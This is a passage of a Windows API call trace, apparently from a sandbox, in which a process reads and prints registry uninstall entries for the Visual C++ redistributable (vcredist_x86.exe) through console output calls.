dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.938] GetConsoleOutputCP () returned 0x1b5 [0150.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.938] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.938] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.939] __iob_func () returned 0x7fefd702a80 [0150.939] _fileno (_File=0x7fefd702ab0) returned 1 [0150.939] _errno () returned 0x204bb0 [0150.939] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.939] _errno () returned 0x204bb0 [0150.939] GetFileType (hFile=0x50) returned 0x1 [0150.939] lstrlenW (lpString="REG_DWORD") returned 9 [0150.939] GetConsoleOutputCP () returned 0x1b5 [0150.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.939] GetConsoleOutputCP () returned 0x1b5 [0150.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.939] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.939] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.939] __iob_func () returned 0x7fefd702a80 [0150.939] _fileno (_File=0x7fefd702ab0) returned 1 [0150.939] _errno () returned 0x204bb0 [0150.939] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.939] _errno () returned 0x204bb0 [0150.939] GetFileType (hFile=0x50) returned 0x1 [0150.939] lstrlenW (lpString=" ") returned 4 [0150.939] GetConsoleOutputCP () returned 0x1b5 [0150.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.939] GetConsoleOutputCP () returned 0x1b5 [0150.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.940] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.940] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.940] __iob_func () returned 0x7fefd702a80 [0150.940] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.940] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.940] _fileno (_File=0x7fefd702ab0) returned 1 [0150.940] _errno () returned 0x204bb0 [0150.940] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.940] _errno () returned 0x204bb0 [0150.940] GetFileType (hFile=0x50) returned 0x1 [0150.940] lstrlenW (lpString="0x1") returned 3 [0150.940] GetConsoleOutputCP () returned 0x1b5 [0150.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.940] GetConsoleOutputCP () returned 0x1b5 [0150.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.940] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.940] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.940] __iob_func () returned 0x7fefd702a80 [0150.940] _fileno (_File=0x7fefd702ab0) returned 1 [0150.940] _errno () returned 0x204bb0 [0150.940] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.940] _errno () returned 0x204bb0 [0150.940] GetFileType (hFile=0x50) returned 0x1 [0150.940] lstrlenW (lpString="\n") returned 1 [0150.940] GetConsoleOutputCP () returned 0x1b5 [0150.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.941] GetConsoleOutputCP () returned 0x1b5 [0150.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.941] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.941] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.941] GetProcessHeap () returned 0x3c0000 [0150.941] GetProcessHeap () returned 0x3c0000 [0150.941] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.941] GetProcessHeap () returned 0x3c0000 [0150.941] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.941] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.941] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="QuietUninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.941] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xd4) returned 0x0 [0150.941] GetProcessHeap () returned 0x3c0000 [0150.941] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xd6) returned 0x3e1c70 [0150.941] GetProcessHeap () returned 0x3c0000 [0150.941] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.941] GetProcessHeap () returned 0x3c0000 [0150.941] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd6 [0150.941] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xd4 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall /quiet", pcbData=0x29f780*=0xd2) returned 0x0 [0150.941] __iob_func () returned 0x7fefd702a80 [0150.941] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.941] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.941] _fileno (_File=0x7fefd702ab0) returned 1 [0150.941] _errno () returned 0x204bb0 [0150.941] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.941] _errno () returned 0x204bb0 [0150.942] GetFileType (hFile=0x50) returned 0x1 [0150.942] lstrlenW (lpString=" ") returned 4 [0150.942] GetConsoleOutputCP () returned 0x1b5 [0150.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.942] GetConsoleOutputCP () returned 0x1b5 [0150.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.942] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.942] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.942] lstrlenW (lpString="QuietUninstallString") returned 20 [0150.942] __iob_func () returned 0x7fefd702a80 [0150.942] _fileno (_File=0x7fefd702ab0) returned 1 [0150.942] _errno () returned 0x204bb0 [0150.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.942] _errno () returned 0x204bb0 [0150.942] GetFileType (hFile=0x50) returned 0x1 [0150.942] lstrlenW (lpString="QuietUninstallString") returned 20 [0150.942] GetConsoleOutputCP () returned 0x1b5 [0150.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0150.942] GetConsoleOutputCP () returned 0x1b5 [0150.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuietUninstallString", lpUsedDefaultChar=0x0) returned 20 [0150.942] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 20 [0150.942] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.943] __iob_func () returned 0x7fefd702a80 [0150.943] _fileno (_File=0x7fefd702ab0) returned 1 [0150.943] _errno () returned 0x204bb0 [0150.943] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.943] _errno () returned 0x204bb0 [0150.943] GetFileType (hFile=0x50) returned 0x1 [0150.943] lstrlenW (lpString=" ") returned 4 [0150.943] GetConsoleOutputCP () returned 0x1b5 [0150.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.943] GetConsoleOutputCP () returned 0x1b5 [0150.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.943] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.943] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.943] __iob_func () returned 0x7fefd702a80 [0150.943] _fileno (_File=0x7fefd702ab0) returned 1 [0150.943] _errno () returned 0x204bb0 [0150.943] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.943] _errno () returned 0x204bb0 [0150.943] GetFileType (hFile=0x50) returned 0x1 [0150.943] lstrlenW (lpString="REG_SZ") returned 6 [0150.943] GetConsoleOutputCP () returned 0x1b5 [0150.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.943] GetConsoleOutputCP () returned 0x1b5 [0150.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.944] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.944] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.944] __iob_func () returned 0x7fefd702a80 [0150.944] _fileno (_File=0x7fefd702ab0) returned 1 [0150.944] _errno () returned 0x204bb0 [0150.944] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.944] _errno () returned 0x204bb0 [0150.944] GetFileType (hFile=0x50) returned 0x1 [0150.944] lstrlenW (lpString=" ") returned 4 [0150.944] GetConsoleOutputCP () returned 0x1b5 [0150.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.944] GetConsoleOutputCP () returned 0x1b5 [0150.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.944] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.944] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.944] __iob_func () returned 0x7fefd702a80 [0150.944] _fileno (_File=0x7fefd702ab0) returned 1 [0150.944] _errno () returned 0x204bb0 [0150.944] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.944] _errno () returned 0x204bb0 [0150.944] GetFileType (hFile=0x50) returned 0x1 [0150.944] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall /quiet") returned 104 [0150.944] GetConsoleOutputCP () returned 0x1b5 [0150.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall /quiet", cchWideChar=104, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0150.945] GetConsoleOutputCP () returned 0x1b5 [0150.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall /quiet", cchWideChar=104, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall /quiet", lpUsedDefaultChar=0x0) returned 104 [0150.945] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 104 [0150.945] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.945] __iob_func () returned 0x7fefd702a80 [0150.945] _fileno (_File=0x7fefd702ab0) returned 1 [0150.945] _errno () returned 0x204bb0 [0150.945] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.945] _errno () returned 0x204bb0 [0150.945] GetFileType (hFile=0x50) returned 0x1 [0150.945] lstrlenW (lpString="\n") returned 1 [0150.945] GetConsoleOutputCP () returned 0x1b5 [0150.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.945] GetConsoleOutputCP () returned 0x1b5 [0150.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.945] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.945] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.945] GetProcessHeap () returned 0x3c0000 [0150.945] GetProcessHeap () returned 0x3c0000 [0150.945] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.945] GetProcessHeap () returned 0x3c0000 [0150.945] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd6 [0150.946] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.946] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.946] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc8) returned 0x0 [0150.946] GetProcessHeap () returned 0x3c0000 [0150.946] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xca) returned 0x3e1c70 [0150.946] GetProcessHeap () returned 0x3c0000 [0150.946] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.946] GetProcessHeap () returned 0x3c0000 [0150.946] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xca [0150.946] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xc8 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", pcbData=0x29f780*=0xc6) returned 0x0 [0150.946] __iob_func () returned 0x7fefd702a80 [0150.946] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.946] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.946] _fileno (_File=0x7fefd702ab0) returned 1 [0150.946] _errno () returned 0x204bb0 [0150.946] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.946] _errno () returned 0x204bb0 [0150.946] GetFileType (hFile=0x50) returned 0x1 [0150.946] lstrlenW (lpString=" ") returned 4 [0150.946] GetConsoleOutputCP () returned 0x1b5 [0150.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.946] GetConsoleOutputCP () returned 0x1b5 [0150.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.946] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.946] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.947] lstrlenW (lpString="UninstallString") returned 15 [0150.947] __iob_func () returned 0x7fefd702a80 [0150.947] _fileno (_File=0x7fefd702ab0) returned 1 [0150.947] _errno () returned 0x204bb0 [0150.947] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.947] _errno () returned 0x204bb0 [0150.947] GetFileType (hFile=0x50) returned 0x1 [0150.947] lstrlenW (lpString="UninstallString") returned 15 [0150.947] GetConsoleOutputCP () returned 0x1b5 [0150.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.947] GetConsoleOutputCP () returned 0x1b5 [0150.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0150.947] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.947] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.947] __iob_func () returned 0x7fefd702a80 [0150.947] _fileno (_File=0x7fefd702ab0) returned 1 [0150.947] _errno () returned 0x204bb0 [0150.947] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.947] _errno () returned 0x204bb0 [0150.947] GetFileType (hFile=0x50) returned 0x1 [0150.947] lstrlenW (lpString=" ") returned 4 [0150.947] GetConsoleOutputCP () returned 0x1b5 [0150.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.947] GetConsoleOutputCP () returned 0x1b5 [0150.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.948] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.948] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.948] __iob_func () returned 0x7fefd702a80 [0150.948] _fileno (_File=0x7fefd702ab0) returned 1 [0150.948] _errno () returned 0x204bb0 [0150.948] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.948] _errno () returned 0x204bb0 [0150.948] GetFileType (hFile=0x50) returned 0x1 [0150.948] lstrlenW (lpString="REG_SZ") returned 6 [0150.948] GetConsoleOutputCP () returned 0x1b5 [0150.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.948] GetConsoleOutputCP () returned 0x1b5 [0150.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.948] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.948] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.948] __iob_func () returned 0x7fefd702a80 [0150.948] _fileno (_File=0x7fefd702ab0) returned 1 [0150.948] _errno () returned 0x204bb0 [0150.948] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.948] _errno () returned 0x204bb0 [0150.948] GetFileType (hFile=0x50) returned 0x1 [0150.948] lstrlenW (lpString=" ") returned 4 [0150.948] GetConsoleOutputCP () returned 0x1b5 [0150.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.949] GetConsoleOutputCP () returned 0x1b5 [0150.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.949] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.949] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.949] __iob_func () returned 0x7fefd702a80 [0150.949] _fileno (_File=0x7fefd702ab0) returned 1 [0150.949] _errno () returned 0x204bb0 [0150.949] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.949] _errno () returned 0x204bb0 [0150.949] GetFileType (hFile=0x50) returned 0x1 [0150.949] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall") returned 98 [0150.949] GetConsoleOutputCP () returned 0x1b5 [0150.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", cchWideChar=98, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 98 [0150.949] GetConsoleOutputCP () returned 0x1b5 [0150.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", cchWideChar=98, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", lpUsedDefaultChar=0x0) returned 98 [0150.949] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 98 [0150.949] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.949] __iob_func () returned 0x7fefd702a80 [0150.949] _fileno (_File=0x7fefd702ab0) returned 1 [0150.949] _errno () returned 0x204bb0 [0150.949] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.949] _errno () returned 0x204bb0 [0150.949] GetFileType (hFile=0x50) returned 0x1 [0150.949] lstrlenW (lpString="\n") returned 1 [0150.950] GetConsoleOutputCP () returned 0x1b5 [0150.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.950] GetConsoleOutputCP () returned 0x1b5 [0150.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.950] fprintf 